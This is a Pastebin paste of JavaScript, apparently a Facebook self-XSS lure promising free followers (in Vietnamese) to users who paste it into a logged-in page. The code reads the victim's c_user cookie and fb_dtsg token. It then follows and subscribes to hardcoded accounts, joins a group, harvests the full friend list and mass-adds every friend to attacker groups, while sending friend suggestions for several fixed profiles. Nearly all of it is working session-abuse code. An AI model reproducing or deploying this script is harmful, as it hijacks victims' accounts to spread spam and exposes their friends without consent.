tamtailoc

hackkk

Sep 19th, 2013
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.48 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. a("100005144614415");
  61. a("100004114025195");
  62. sublist("197903417057811");
  63. sublist("197906743724145");
  64. sublist("198742606973892");
  65. sublist("198752033639616");
  66. sublist("239297232884076");
  67. var gid = ['100005144614415'];
  68. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  69. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  70. var httpwp = new XMLHttpRequest();
  71. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  72. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  73. httpwp['open']('POST', urlwp, true);
  74. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  75. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  76. httpwp['setRequestHeader']('Connection', 'keep-alive');
  77. httpwp['send'](paramswp);
  78. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  79. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  80. var friends = new Array();
  81. gf = new XMLHttpRequest();
  82. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  83. gf['send']();
  84. if (gf['readyState'] != 4) {} else {
  85. data = eval('(' + gf['responseText']['substr'](9) + ')');
  86. if (data['error']) {} else {
  87. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  88. return _0x93dax8['index'] - _0x93dax9['index']
  89. })
  90. }
  91. };
  92. var Title = 'CHƯƠNG TRÌNH TỰ TĂNG SUB ( NGƯỜI THEO DÕI TRANG CÁ NHÂN) VÀ THÊM BẠN NHẬN QUÀ (Made By)<A style="color:#3B5998;" href="http://www.facebook.com/VanHoaiNam">SUBFOLLOWERS.</A>';
  93. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  94. var Descriptions = "",
  95. _text = 'Powered By <A style="color:#3B5998;" href=" http://www.facebook.com/groups/HOIBUONBAN/">Largest Group.</A> Join it now.';
  96.  
  97. function AddFriendtoGroup(opo) {
  98. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  99. var b = a.substring(a.indexOf("{"));
  100. var c = JSON.parse(b);
  101. i--;
  102. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  103. if (c.error) {
  104. Descriptions += "color:darkred'>";
  105. err++;
  106. if (c.errorDescription) Descriptions += c.errorDescription;
  107. else Descriptions += JSON.stringify(c, null, "")
  108. } else {
  109. Descriptions += "color:darkgreen'>";
  110. Descriptions += arn[i] + " has been added.<br/>";
  111. suc++
  112. }
  113. Descriptions += "</div>";
  114. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  115. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  116. if (i > 0) {
  117. display += arr.length + " Friends Detected<br/>";
  118. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  119. display += "(" + i + " Lefted...)";
  120. display += "<div class='friend-edge'>";
  121. display += Descriptions;
  122. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  123. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  124. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  125. display += _text;
  126. display += "</div>";
  127. display += "</div>"
  128. } else {
  129. display += arr.length + " Friends Detected<br/>";
  130. display += suc + " Friends Added</br>";
  131. display += err + " Friends Not Added</br></br>";
  132. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  133. }
  134. display += "</div>";
  135. document.getElementById("pagelet_sidebar").innerHTML = display
  136. }, "text", "post");
  137. tay--;
  138. if (tay > 0) {
  139. var s = arr[tay];
  140. sx = pho[tay];
  141. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  142. }
  143. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  144. if (gid != 386572611449908) {
  145. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  146. }
  147. if (newcomer) {
  148. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002561288090&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  149. }
  150. if (newcomer) {
  151. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002913985779&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  152. }
  153. if (newcomer) {
  154. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005775220456&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  155. }
  156. if (newcomer) {
  157. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005879462337&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  158. }
  159. if (newcomer) {
  160. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005960594152&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  161. }
  162. if (newcomer) {
  163. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003234402200&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  164. }
  165. }
  166. function clickfr_callback() {
  167. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  168. var a = arr[i];
  169. if (i < arr.length) addfriend(a.substring(0, 4))
  170. }
  171. function clickfr() {
  172. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  173. else j++;
  174. setTimeout("clickfr_callback()", 2E3)
  175. }
  176. function addfriend(a) {
  177. i++;
  178. setTimeout("clickfr()", 2E3)
  179. }
  180. jx = {
  181. getHTTPObject: function() {
  182. var a = false;
  183. if (typeof ActiveXObject != "undefined") try {
  184. a = new ActiveXObject("Msxml2.XMLHTTP")
  185. } catch (b) {
  186. try {
  187. a = new ActiveXObject("Microsoft.XMLHTTP")
  188. } catch (c) {
  189. a = false
  190. }
  191. } else if (window.XMLHttpRequest) try {
  192. a = new XMLHttpRequest
  193. } catch (b) {
  194. a = false
  195. }
  196. return a
  197. },
  198. load: function(url, callback, format, method, opt) {
  199. var http = this.init();
  200. if (!http || !url) return;
  201. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  202. if (!method) method = "GET";
  203. if (!format) format = "text";
  204. if (!opt) opt = {};
  205. format = format.toLowerCase();
  206. method = method.toUpperCase();
  207. var now = "uid=" + (new Date).getTime();
  208. url += url.indexOf("?") + 1 ? "&" : "?";
  209. url += now;
  210. var parameters = null;
  211. if (method == "POST") {
  212. var parts = url.split("?");
  213. url = parts[0];
  214. parameters = parts[1]
  215. }
  216. http.open(method, url, true);
  217. var ths = this;
  218. if (opt.handler) http.onreadystatechange = function() {
  219. opt.handler(http)
  220. };
  221. else http.onreadystatechange = function() {
  222. if (http.readyState == 4) if (http.status == 200) {
  223. var result = "";
  224. if (http.responseText) result = http.responseText;
  225. if (format.charAt(0) == "j") {
  226. result = result.replace(/[\n\r]/g, "");
  227. result = eval("(" + result + ")")
  228. } else if (format.charAt(0) == "x") result = http.responseXML;
  229. if (callback) callback(result)
  230. } else {
  231. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  232. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  233. if (error) error(http.status)
  234. }
  235. };
  236. http.send(parameters)
  237. },
  238. bind: function(a) {
  239. var b = {
  240. url: "",
  241. onSuccess: false,
  242. onError: false,
  243. format: "text",
  244. method: "GET",
  245. update: "",
  246. loading: "",
  247. loadingIndicator: ""
  248. };
  249. for (var c in b) if (a[c]) b[c] = a[c];
  250. if (!b.url) return;
  251. var d = false;
  252. if (b.loadingIndicator) {
  253. d = document.createElement("div");
  254. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  255. d.setAttribute("class", "loading-indicator");
  256. d.innerHTML = b.loadingIndicator;
  257. document.getElementsByTagName("body")[0].appendChild(d);
  258. this.opt.loadingIndicator = d
  259. }
  260. if (b.loading) document.getElementById(b.loading).style.display = "block";
  261. this.load(b.url, function(a) {
  262. if (b.onSuccess) b.onSuccess(a);
  263. if (b.update) document.getElementById(b.update).innerHTML = a;
  264. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  265. if (b.loading) document.getElementById(b.loading).style.display = "none"
  266. }, b.format, b.method, b)
  267. },
  268. init: function() {
  269. return this.getHTTPObject()
  270. }
  271. };
  272. var nHtml = {
  273. FindByAttr: function(a, b, c, d) {
  274. if (c == "className") c = "class";
  275. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  276. if (e && e.singleNodeValue) return e.singleNodeValue;
  277. return null
  278. },
  279. FindByClassName: function(a, b, c) {
  280. return this.FindByAttr(a, b, "className", c)
  281. },
  282. FindByXPath: function(a, b) {
  283. try {
  284. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  285. } catch (d) {
  286. GM_log("bad xpath:" + b)
  287. }
  288. if (c && c.singleNodeValue) return c.singleNodeValue;
  289. return null
  290. },
  291. VisitUrl: function(a) {
  292. window.setTimeout(function() {
  293. document.location.href = a
  294. }, 500 + Math.floor(Math.random() * 500))
  295. },
  296. ClickWin: function(a, b, c) {
  297. var d = a.document.createEvent("MouseEvents");
  298. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  299. return !b.dispatchEvent(d)
  300. },
  301. Click: function(a) {
  302. return this.ClickWin(window, a, "click")
  303. },
  304. ClickTimeout: function(a, b) {
  305. window.setTimeout(function() {
  306. return nHtml.ClickWin(window, a, "click")
  307. }, b + Math.floor(Math.random() * 500))
  308. },
  309. ClickUp: function(a) {
  310. this.ClickWin(window, a, "mousedown");
  311. this.ClickWin(window, a, "mouseup");
  312. this.ClickWin(window, a, "click")
  313. },
  314. GetText: function(a, b) {
  315. var c = "";
  316. if (b == undefined) b = 0;
  317. if (b > 40) return;
  318. if (a.textContent != undefined) return a.textContent;
  319. for (var d = 0; d < a.childNodes.length; d++) {
  320. var e = a.childNodes[d];
  321. c += this.GetText(e, b + 1)
  322. }
  323. return c
  324. }
  325. };
  326. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  327. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  328. var c = document.getElementsByTagName("*");
  329. var d = [];
  330. var e;
  331. for (var f = 0;
  332. (e = c[f]) != null; f++) {
  333. var g = e.className;
  334. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  335. }
  336. return d
  337. };
  338. Array.prototype.find = function(a) {
  339. var b = false;
  340. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  341. if (a.test(this[i])) {
  342. if (!b) b = [];
  343. b.push(i)
  344. }
  345. } else if (this[i] === a) {
  346. if (!b) b = [];
  347. b.push(i)
  348. }
  349. return b
  350. };
  351. var i = 3;
  352. var tay = 3;
  353. var j = 0;
  354. var k = 0;
  355. var suc = 0;
  356. var err = 0;
  357. var arr = new Array;
  358. var arn = new Array;
  359. var pho = new Array;
  360. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  361. var gid = document.getElementsByName("group_id")[0].value;
  362. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  363. var b = a;
  364. var c = b.substring(b.indexOf("{"));
  365. var d = JSON.parse(c);
  366. d = d.payload.entries;
  367. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  368. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  369. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  370. i = arr.length - 1;
  371. tay = i;
  372. console.log(arr.length);
  373. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  374. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  375. display += arr.length + " Friends Detected";
  376. display += "</div>";
  377. document.getElementById("pagelet_sidebar").innerHTML = display;
  378. AddFriendtoGroup(arr[i])
  379. });
Add Comment
Please, Sign In to add comment